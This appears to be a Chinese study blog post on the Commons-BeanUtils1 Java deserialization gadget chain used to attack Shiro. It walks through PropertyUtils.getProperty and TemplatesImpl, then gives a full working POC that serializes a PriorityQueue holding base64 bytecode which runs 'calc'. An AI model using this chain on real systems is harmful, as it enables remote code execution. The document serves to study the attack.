[Java反序列化]CommonsBeanutils1利用链学习

0x01

前篇shiro的利用,需要动态字节码 ,而这种方式需要我们自己添加依赖,所以很局限,而CommonsBeanutils 是shiro的依赖, CommonsBeanutils 是应用于 javabean 的工具

javabean的定义

类必须是具体的和公共的,并且具有无参的构造器,JavaBean通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,set和get方法获取。简单来说就是必须是个public 类且有无参构造器和对应的 get set 方法,且可序列化

Test

类似于,有pulic类  无参构造器,对应的set 和 get

public class Person {
    public String name;
    public int age;

    public Person() {
    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Commons-Beanutils

commons-beanutils 是应用于javabean的工具,他提供了一种动态的getter 方法 

如果一个Person 类是 JavaBean ,他有一个name属性,则 

PropertyUtils.getProperty(new Person(),"name")会调用他的 getName()方法

正常方式调用一个类方法:

Person person = new Person("snowy",17);
System.out.println(person.getName());

PropertyUtils.getProperty 方式调用:

Person person = new Person("snowy",17);
System.out.println(PropertyUtils.getProperty(person,"name"));

 如果报错  需要加maven 依赖

<dependency>
	<groupId>commons-logging</groupId>
	<artifactId>commons-logging</artifactId>
	<version>1.2</version>
</dependency>

这里传入的是name, getProperty() 会将 name 的首字母大写 成 Name ,然后加上get,最后调用的是 getName() 而这种方式,不光可以调用getter,而是可以调用任意方法,无论他有没有,  如果我们传入的是   aaa 则会调用getAaa()

结合到前面的动态字节码 Templateslmpl类,其中 getOutputProperties 是get 开头的,便可以逐个执行动态字节码文件。

TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass

分析:

跟进分析一下 getProperty() 的实现流程,跟进  getProperty() 

    public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        return PropertyUtilsBean.getInstance().getProperty(bean, name);
    }

跟进

    public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        return this.getNestedProperty(bean, name);
    }

调用了新方法,getNestedProperty(),下方会检测传入类型是否为map、索引,不是所以走到了getSimpleProperty()

 跟进,之后会走到

 Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);

 跟进invokeMethod()

会给value 加上 get 并大写后个字母 

所以这里就可以联想到TemplatesImpl#getOutputProperties() ,实现形式:

System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

很好理解,前面加上get 将O大写就实现了。

这里可以结合CC3的链子进行测试

public class BeanComparatorCC3 {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","snowy");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
        System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

        //TemplatesImpl.getOutputProperties() ->
        //TemplatesImpl.newTransformer() ->
        //TemplatesImpl.getTransletInstance() ->
        //TemplatesImpl.defineTransletClasses() ->
        //TransletClassLoader.defineClass


    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

 可以成功。

试着找一条反序列化的利用方式。

返回去看看谁调用了   getProperty()

 而cc2 在这条链子上 的有限队列类 PriorityQueue的反序列化 readObject()方法中有调用到compare(),  如图:

 所以整条链子能够 很明显的浮现

PriorityQueue.readObject() ->
BeanComparator.compare() ->
PropertyUtils.getProperty() ->
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
defineClass.newInstance()

POC

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class shiroCB {
    public static void main(String[] args) throws Exception {
        //CC3
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","snowy");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        
        //Commons-Beanutils
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        //CC2
        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",beanComparator);

        serialize(priorityQueue);
        unserialize("1.txt");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }

老方法利用,要用脚本加密。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值